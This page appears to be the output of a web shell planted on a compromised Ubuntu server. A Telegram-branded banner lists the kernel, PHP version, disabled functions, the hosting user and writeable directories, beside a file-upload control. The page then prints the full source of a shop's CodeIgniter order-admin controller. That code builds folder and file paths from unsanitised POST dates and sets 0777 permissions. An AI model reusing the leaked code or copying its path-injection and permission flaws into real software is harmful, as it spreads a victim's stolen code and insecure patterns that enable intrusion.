https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/mesinpolesshinemate.com/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mesinpolesshinemate.com/application/controllers/admin/Orders.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Orders extends Admin_Controller {
		
	function __construct() {
		parent::__construct();	
		$this->load->model('order_m');  
		$this->load->model('order_detail_m'); 
		$this->load->model('configuration_m');  
		$this->load->model('customer_m');  
	}
		
	//this is to list all orders
	public function index() { 
		
		//pagination in action. 100 results per page
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/orders/index';
		$config['per_page'] = 100;
		$config["uri_segment"] = 4; 

		//fetch all orders
		$config['total_rows'] = $this->order_m->record_count(); 
		$this->pagination->initialize($config);
   		$this->data['orders'] = $this->order_m->get_all_orders($config["per_page"], 
		$this->uri->segment(4));
	
		//load view
		$this->data['subview'] = 'admin/orders/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	 
		
    }

	//get all successful orders for specific customer only
	public function customer($customer_id) { 
		
		//pagination in action. 20 results per page
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/orders/customer';
		$config['per_page'] = 100;
		$config['uri_segment'] = 4; 
 
		//check number of orders
		$this->db->select('id_orders');
		$this->db->from('orders');
		$this->db->where('customer_id', $customer_id);
		$this->db->where('(payment_status=1 or payment_status=3)');
		$config['total_rows'] = $this->db->get()->num_rows();
		$this->pagination->initialize($config);

		//get all orders
		$this->db->select('*');
		$this->db->from('orders');
		$this->db->where('customer_id', $customer_id);
        $this->db->where('(payment_status=1 or payment_status=3)');
		$this->db->order_by('order_date', 'DESC');
		//$this->db->limit($config['per_page'], $this->uri->segment($config['uri_segment']));
   		$this->data['orders'] = $this->db->get()->result();
	
		//get customer data
		$this->db->select('*')->from('customers')->where('id_customers', $customer_id);  
		$this->data['customer'] = $this->db->get()->row();

		//load view
		$this->data['subview'] = 'admin/orders/customer_orders';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	 
    }
	
	//to VIEW and EDIT order in admin
	public function view($id) {

		//get orders
		$this->db->select('*')->from('orders')->where('id_orders', $id);
		$current_order = $this->db->get()->row();

		if(count($current_order) < 1) {show_404();}

		if (isset($_POST['payment_status'])) {

			if ($this->input->post('payment_status') == 2) {

				//Status CANCEL
				$data = array( 
					'payment_status' => 2,
					'cancel_date' => date('Y-m-d')
				);
				$this->db->where('id_orders', $id);
				$this->db->update('orders', $data);

				//return the quantity back to stock
				//get order details
				$order_details =  $this->order_detail_m->get_orders_detail($id);

				foreach ($order_details as $item) {

					//get current stock
					$this->db->select('stock')->from('product_details')->where('product_id', $item->item_id)->where('sku', $item->sku);
					$current_stock = $this->db->get()->row()->stock;
					
					$data = array(
						'stock' => $current_stock + $item->quantity,
					);
					$this->db->where('product_id', $item->item_id);
					$this->db->where('sku', $item->sku);
					$this->db->update('product_details', $data);
				}

				//return customer point reward back to customers table..
				//get customer_id
				$this->db->select('customer_id')->from('orders')->where('id_orders', $id);
				$customer_id = (int) $this->db->get()->row()->customer_id;

				//get customer current point
				$this->db->select('current_pointreward')->from('customers')->where('id_customers', $customer_id);
				$current_point = (int) $this->db->get()->row()->current_pointreward;

				//get minus point from order
				$this->db->select('minus_reward')->from('orders')->where('id_orders', $id);
				$rewards = $this->db->get()->row();
				$minus_point = (int) $rewards->minus_reward;

				$updated_point = $current_point + $minus_point;

				//update point reward
				$data = array(
					'current_pointreward' => $updated_point
				);
				$this->db->where('id_customers', $customer_id);
				$this->db->update('customers', $data);

				//----SEND EMAIL TO CUSTOMER 
				//get order detail and customer detail
				$data['order'] = $this->order_m->get_order($id);  
				$data['customer'] = $this->customer_m->get_customer($data['order']->customer_id);
				$data['minus_point'] = $minus_point;

				//get website data
				$this->db->select('logo, from_email, website_name, email_smtp_host, email_smtp_port, email_smtp_password, email_smtp')->from('configuration')->where('id_configuration', 1);
				$website_data = $this->db->get()->row();
				$data['logo'] = $website_data->logo;
				$data['website_name'] = $website_data->website_name;

				$data['emails'] = $this->configuration_m->get_emails(); 
				$data['title'] = 'Order Cancel'; 

				$this->load->library('email');
				//get email setting 
				$config['protocol'] = 'smtp';
				$config['smtp_host'] = $website_data->email_smtp_host; 
				$config['smtp_port'] = $website_data->email_smtp_port;
				$config['smtp_user'] = $website_data->email_smtp; 
				$config['smtp_pass'] = $website_data->email_smtp_password;
				$config['mailtype'] = 'html';
				$config['charset'] = 'iso-8859-1';
				$config['wordwrap'] = TRUE;
				$config['newline'] = "\r\n"; //use double quotes to comply with RFC 822 standard 
				$this->email->initialize($config);
				$this->email->from($data['emails']->from_email, $data['emails']->website_name);
				$this->email->to($data['customer']->email); 
				$this->email->subject('Order Cancel'); 
				$email = $this->load->view('email/order_cancel', $data, TRUE);   
				$this->email->message($email);	    
				$this->email->send();  
				//----end send email 
				
				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Payment status updated Successful</p>');
				redirect('admin/orders/view/' . $id);

			}

			if ($this->input->post('payment_status') == 1) {

				//Status BANK TRANSFER PAID
				$data = array( 
					'payment_status' => 1,
					'payment_date' => date('Y-m-d')
				);
				$this->db->where('id_orders', $id);
				$this->db->update('orders', $data);

				//update current point rewards
				//get customer_id
				$this->db->select('customer_id')->from('orders')->where('id_orders', $id);
				$customer_id = (int) $this->db->get()->row()->customer_id;

				//get customer current point
				$this->db->select('current_pointreward')->from('customers')->where('id_customers', $customer_id);
				$current_point = (int) $this->db->get()->row()->current_pointreward;

				//get add and minus point from order
				$this->db->select('plus_reward')->from('orders')->where('id_orders', $id);
				$rewards = $this->db->get()->row();
				$plus_point = (int) $rewards->plus_reward;

				$updated_point = $current_point + $plus_point;

				//update point reward
				$data = array(
					'current_pointreward' => $updated_point
				);
				$this->db->where('id_customers', $customer_id);
				$this->db->update('customers', $data);

				//if cancel date exist before, then need to deduct stock back from stocks. Sometimes customer forget to pay, the system change to cancel. Tomorrow they want to pay, so status can change back to paid. 
				//return the quantity back to stock
				//get order details
				if($current_order->cancel_date != NULL) {
				
					$order_details =  $this->order_detail_m->get_orders_detail($id);

					foreach ($order_details as $item) {

						//get current stock
						$this->db->select('stock')->from('product_details')->where('product_id', $item->item_id)->where('sku', $item->sku)->where('attributes', $item->attributes);
						$current_stock = $this->db->get()->row()->stock;
						
						$data = array(
							'stock' => $current_stock - $item->quantity,
						);
						$this->db->where('product_id', $item->item_id);
						$this->db->where('sku', $item->sku);
						$this->db->where('attributes', $item->attributes);
						$this->db->update('product_details', $data);
					}
				}

				//SEND EMAIL TO CUSTOMER
				$data['title'] = 'Payment Confirmation'; 
				//get order detail and customer detail
				$data['order'] = $this->order_m->get_order($id);
				$data['customer'] = $this->customer_m->get_customer($data['order']->customer_id);

				//get website data
				$this->db->select('logo, from_email, website_name, email_smtp_host, email_smtp_port, email_smtp_password, email_smtp')->from('configuration')->where('id_configuration', 1);
				$website_data = $this->db->get()->row();
				$data['logo'] = $website_data->logo;
				$data['website_name'] = $website_data->website_name;
				$data['emails'] = $this->configuration_m->get_emails(); 
				$data['plus_point'] = $plus_point;

				$this->load->library('email');
				//get email setting 
				$config['protocol'] = 'smtp';
				$config['smtp_host'] = $website_data->email_smtp_host; 
				$config['smtp_port'] = $website_data->email_smtp_port;
				$config['smtp_user'] = $website_data->email_smtp; 
				$config['smtp_pass'] = $website_data->email_smtp_password;
				$config['mailtype'] = 'html';
				$config['charset'] = 'iso-8859-1';
				$config['wordwrap'] = TRUE;
				$config['newline'] = "\r\n"; //use double quotes to comply with RFC 822 standard 
				$this->email->initialize($config);
				$this->email->from($data['emails']->from_email, $data['emails']->website_name);
				$this->email->to($data['customer']->email); 
				$this->email->subject('Payment Confirmation'); 
				$email = $this->load->view('email/payment_confirmation', $data, TRUE);   
				$this->email->message($email);	
				$this->email->send();    
				//----end send email   
				 
				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Payment status updated Successful</p>');
				redirect('admin/orders/view/' . $id);
			}

			if ($this->input->post('payment_status') == 3) {

				//Status PRODUCT SENT
				$data = array( 
					'payment_status' => 3,
					'sent_date' => date('Y-m-d'),
					'no_resi'	=> $this->input->post('no_resi')
				);
				$this->db->where('id_orders', $id);
				$this->db->update('orders', $data);

				//SEND EMAIL TO CUSTOMER
				$data['title'] = 'Product Sent'; 
				//get order and customer detail
				$data['order'] = $this->order_m->get_order($id);
				$data['customer'] = $this->customer_m->get_customer($data['order']->customer_id);
				$data['no_resi'] = $this->input->post('no_resi');

				//get order details
				$this->db->select('*')->from('orders_detail')->where('orders_id', $data['order']->id_orders);
				$data['order_details'] = $this->db->get()->result();

				//get website data
				$this->db->select('logo, from_email, website_name, email_smtp_host, email_smtp_port, email_smtp_password, email_smtp')->from('configuration')->where('id_configuration', 1);
				$website_data = $this->db->get()->row();
				$data['logo'] = $website_data->logo;
				$data['website_name'] = $website_data->website_name;
				$data['emails'] = $this->configuration_m->get_emails(); 

				$this->load->library('email');
				//get email setting 
				$config['protocol'] = 'smtp';
				$config['smtp_host'] = $website_data->email_smtp_host; 
				$config['smtp_port'] = $website_data->email_smtp_port;
				$config['smtp_user'] = $website_data->email_smtp; 
				$config['smtp_pass'] = $website_data->email_smtp_password;
				$config['mailtype'] = 'html';
				$config['charset'] = 'iso-8859-1';
				$config['wordwrap'] = TRUE;
				$config['newline'] = "\r\n"; //use double quotes to comply with RFC 822 standard 
				$this->email->initialize($config);
				$this->email->from($data['emails']->from_email, $data['emails']->website_name);
				$this->email->to($data['customer']->email); 
				$this->email->subject('Product Sent'); 
				$email = $this->load->view('email/product_sent', $data, TRUE);   
				$this->email->message($email);	
				$this->email->send();    
				//----end send email   
 
				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Payment status updated Successful</p>');
				redirect('admin/orders/view/' . $id);
			}
		}

		//get order detail and customer detail
		$this->data['order'] = $this->order_m->get_order($id);  
		$this->data['customer'] = $this->customer_m->get_customer($this->data['order']->customer_id);
		$this->data['order_details'] = $this->order_detail_m->get_orders_detail($id); 
		
		$this->data['subview'] = 'admin/orders/view';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}


	public function generate_invoice_pdf($id) {

		//add PDF attachment DOMPDF 
			  
		$data['title'] = 'Invoice'; 

		
		//get order
		$this->db->select('*')->from('orders')->where('id_orders', $id);
		$data['order'] = $this->db->get()->row();
		$data['customer'] = $this->customer_m->get_customer($data['order']->customer_id);
		$data['emails'] = $this->configuration_m->get_emails();  

		$data['bank'] = $this->configuration_m->get_bank();   

		$this->db->select('logo')->from('configuration')->where('id_configuration', 1);
		$data['logo'] = $this->db->get()->row()->logo;

		//get order detail and customer detail
		$this->db->select('*')->from('orders_detail')->where('orders_id', $id);
		$data['order_details'] = $this->db->get()->result();

		$this->load->library('dompdf_gen');
		$html= $this->load->view('invoice_pdf', $data ,true);
		$this->dompdf->load_html($html);
		$this->dompdf->render(); 
		$this->dompdf->stream('invoice.pdf', array("Attachment" => 0));
		$output = $this->dompdf->output(); 
		$file_to_save = 'uploads/pdf/invoice.pdf'; 
		file_put_contents($file_to_save, $output);  
	}

	public function generate_multiple_invoices() {

		if(!$this->input->post('generate_invoices')) { redirect('admin/orders');}

		$start_date_array = explode('-', $this->security->xss_clean($this->input->post('start_date')));
		$end_date_array = explode('-', $this->security->xss_clean($this->input->post('end_date')));
		//change to YYYY-MM-DD format for database insertion, and use php DatePeriod class
		$begin = new DateTime($start_date_array[2] . '-' . $start_date_array[1] . '-' . $start_date_array[0]);
		$end = new DateTime($end_date_array[2] . '-' . $end_date_array[1] . '-' . $end_date_array[0]);
		$end = $end->modify('+1 day'); 
		$interval = new DateInterval('P1D');
		$daterange = new DatePeriod($begin, $interval ,$end);

		$this->load->library('dompdf_gen');

		//create a new directory inside pdf folder
		if (!is_dir('./uploads/' . 'pdf/' . 'invoice-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date'))) { //check if directory already exist
			mkdir('./uploads/' . 'pdf/' . 'invoice-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date'));
			chmod('./uploads/' . 'pdf/' . 'invoice-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date'), 0777);  //change permission to writable 777, so can be deleted
		}

		$total_orders_found = 0;
		
		foreach($daterange as $date){

			//get orders from each particular date
			//DATE(order_date) is a mysql function, to get onlye date from timestamp, exclude h-m-s
			$this->db->select('*')->from('orders');
			$this->db->where('DATE(order_date)', $date->format('Y-m-d'));
			if($this->input->post('include_unpaid_orders') == 'no') {
				$this->db->group_start();
				$this->db->where('payment_status', 1);
				$this->db->or_where('payment_status', 3);
				$this->db->group_end();
			}
			$orders = $this->db->get()->result();

			if(count($orders) > 0) {
				
				//orders are available..then proceed 
				$total_orders_found = $total_orders_found + count($orders);

				foreach($orders as $data['order']) {

					//generate pdf for each order in this particular date
					//add PDF attachment DOMPDF 
					$data['title'] = 'Invoice ' . $data['order']->id_orders;
					$data['customer'] = $this->customer_m->get_customer($data['order']->customer_id);
					$data['emails'] = $this->configuration_m->get_emails();  
					$data['bank'] = $this->configuration_m->get_bank();   
					$this->db->select('logo')->from('configuration')->where('id_configuration', 1);
					$data['logo'] = $this->db->get()->row()->logo;
					//get order detail and customer detail
					$this->db->select('*')->from('orders_detail')->where('orders_id', $data['order']->id_orders);
					$data['order_details'] = $this->db->get()->result();
			
					$html= $this->load->view('invoice_pdf', $data ,true);
					//create a new dompdf instance (this is the crucial step)
					$this->dompdf = new DOMPDF();
					$this->dompdf->load_html($html);
					$this->dompdf->render();  //render html as pdf
					/* $this->dompdf->stream('invoice.pdf', array("Attachment" => 0)); //display to browser*/
					$output = $this->dompdf->output();  
					
					//add pdf file into directory
					$file_to_save = 'uploads/pdf/invoice-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date') . '/invoice-orderid-' . $data['order']->id_orders . '.pdf'; 
					file_put_contents($file_to_save, $output);  //$output function to add files to folder

				}

			}
	
		}

		if($total_orders_found == 0) {
			//dont download files, but go back to orders page and give error notice..
			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">No orders are found</p>');
				redirect('admin/orders');
		}

		//zip the generated pds and downlod the zip file
		$this->load->library('zip');
		$path = './uploads/' . 'pdf/' . 'invoice-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date');
		$this->zip->read_dir($path, FALSE); //FALSE is to exclude entir path
		// Download the files to desktop. Name it "my_backup.zip"
		$this->zip->download('invoices-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date') . '.zip');

		//finally, delete the directory
		//THIS NOT WORKING YET......
		//rmdir('./uploads/' . 'pdf/' . 'invoice-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date'));

	}

	public function generate_deliveryslip_pdf($id) {

		//add PDF attachment DOMPDF 
			  
		$data['title'] = 'Delivery Slip'; 
		
		//get order
		$this->db->select('*')->from('orders')->where('id_orders', $id);
		$data['order'] = $this->db->get()->row();

		if($data['order']->dropship == 'yes') {
			//use dropshipper 
			$this->db->select('id_customers, name, email, phone, reseller_id, dropship, dropship_shop_name, dropship_shop_address, dropship_shop_phone, dropship_shop_email, dropship_shop_logo');
			$this->db->from('customers');
			$this->db->where('id_customers', $data['order']->customer_id);
			$data['customer'] = $this->db->get()->row();
			$data['logo'] = $data['customer']->dropship_shop_logo;
			$data['dropship_status'] = 'yes';
		
		} else {
			//non dropshipper
			$this->db->select('id_customers, name, email, phone, reseller_id');
			$this->db->from('customers');
			$this->db->where('id_customers', $data['order']->customer_id);
			$data['customer'] = $this->db->get()->row();
			$data['dropship_status'] = 'no';
			$this->db->select('logo')->from('configuration')->where('id_configuration', 1);
			$data['logo'] = $this->db->get()->row()->logo;
		} 

		$data['emails'] = $this->configuration_m->get_emails();  

		//$data['bank'] = $this->configuration_m->get_bank();   

		//get order detail and customer detail
		$this->db->select('*')->from('orders_detail')->where('orders_id', $id);
		$data['order_details'] = $this->db->get()->result();

		$this->load->library('dompdf_gen');
		$html= $this->load->view('deliveryslip_pdf', $data ,true);
		$this->dompdf->load_html($html);
		$this->dompdf->render(); 
		$this->dompdf->stream('deliveryslip.pdf', array("Attachment" => 0));
		$output = $this->dompdf->output(); 
		$file_to_save = 'uploads/pdf/deliveryslip.pdf'; 
		file_put_contents($file_to_save, $output);  
	}

	public function generate_multiple_deliveryslips() {

		if(!$this->input->post('generate_deliveryslips')) { redirect('admin/orders');}

		$start_date_array = explode('-', $this->security->xss_clean($this->input->post('start_date')));
		$end_date_array = explode('-', $this->security->xss_clean($this->input->post('end_date')));
		//change to YYYY-MM-DD format for database insertion, and use php DatePeriod class
		$begin = new DateTime($start_date_array[2] . '-' . $start_date_array[1] . '-' . $start_date_array[0]);
		$end = new DateTime($end_date_array[2] . '-' . $end_date_array[1] . '-' . $end_date_array[0]);
		$end = $end->modify('+1 day'); 
		$interval = new DateInterval('P1D');
		$daterange = new DatePeriod($begin, $interval ,$end);

		$this->load->library('dompdf_gen');

		//create a new directory inside pdf folder
		if (!is_dir('./uploads/' . 'pdf/' . 'deliveryslip-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date'))) { //check if directory already exist
			mkdir('./uploads/' . 'pdf/' . 'deliveryslip-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date'));
			chmod('./uploads/' . 'pdf/' . 'deliveryslip-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date'), 0777);  //change permission to writable 777, so can be deleted
		}

		$total_orders_found = 0;
		
		foreach($daterange as $date) {

			//get orders from each particular date
			//DATE(order_date) is a mysql function, to get onlye date from timestamp, exclude h-m-s
			$this->db->select('*');
			$this->db->from('orders');
			$this->db->where('DATE(order_date)', $date->format('Y-m-d'));
			if($this->input->post('include_unpaid_orders') == 'no') {
				$this->db->group_start();
				$this->db->where('payment_status', 1);
				$this->db->or_where('payment_status', 3);
				$this->db->group_end();
			}
			$orders = $this->db->get()->result();

			if(count($orders) > 0) {
				
				$total_orders_found = $total_orders_found + count($orders);

				foreach($orders as $data['order']) {

					//add PDF attachment DOMPDF 
					$data['title'] = 'Delivery Slip'; 
					
					//get order
					$this->db->select('*')->from('orders')->where('id_orders', $data['order']->id_orders);
					$data['order'] = $this->db->get()->row();

					if($data['order']->dropship == 'yes') {
						//use dropshipper 
						$this->db->select('id_customers, name, email, phone, reseller_id, dropship, dropship_shop_name, dropship_shop_address, dropship_shop_phone, dropship_shop_email, dropship_shop_logo');
						$this->db->from('customers');
						$this->db->where('id_customers', $data['order']->customer_id);
						$data['customer'] = $this->db->get()->row();
						$data['logo'] = $data['customer']->dropship_shop_logo;
						$data['dropship_status'] = 'yes';
					
					} else {
						//non dropshipper
						$this->db->select('id_customers, name, email, phone, reseller_id');
						$this->db->from('customers');
						$this->db->where('id_customers', $data['order']->customer_id);
						$data['customer'] = $this->db->get()->row();
						$data['dropship_status'] = 'no';
						$this->db->select('logo')->from('configuration')->where('id_configuration', 1);
						$data['logo'] = $this->db->get()->row()->logo;
					} 

					$data['emails'] = $this->configuration_m->get_emails();  

					//$data['bank'] = $this->configuration_m->get_bank();   

					//get order detail and customer detail
					$this->db->select('*')->from('orders_detail')->where('orders_id', $data['order']->id_orders);
					$data['order_details'] = $this->db->get()->result();
					
					$html= $this->load->view('deliveryslip_pdf', $data ,true);
					//create a new dompdf instance (this is the crucial step)
					$this->dompdf = new DOMPDF();
					$this->dompdf->load_html($html);
					$this->dompdf->render(); 
					//$this->dompdf->stream('deliveryslip.pdf', array("Attachment" => 0));
					$output = $this->dompdf->output(); 

					//add pdf file into directory
					$file_to_save = 'uploads/pdf/deliveryslip-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date') . '/deliveryslip-orderid-' . $data['order']->id_orders . '.pdf'; 
					file_put_contents($file_to_save, $output);  //$output function to add files to folder

				}

			}
	
		}

		if($total_orders_found == 0) {
			//dont download files, but go back to orders page and give error notice..
			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">No orders are found</p>');
				redirect('admin/orders');
		}

		//zip the generated pds and downlod the zip file
		$this->load->library('zip');
		$path = './uploads/' . 'pdf/' . 'deliveryslip-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date');
		$this->zip->read_dir($path, FALSE); //FALSE is to exclude entir path
		// Download the files to desktop. 
		$this->zip->download('deliveryslips-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date') . '.zip');

		//finally, delete the directory
		//THIS NOT WORKING YET......
		//rmdir('./uploads/' . 'pdf/' . 'invoice-' . $this->input->post('start_date') . '-' .  $this->input->post('end_date'));

	}
			
}

https://t.me/RX1948 - 2025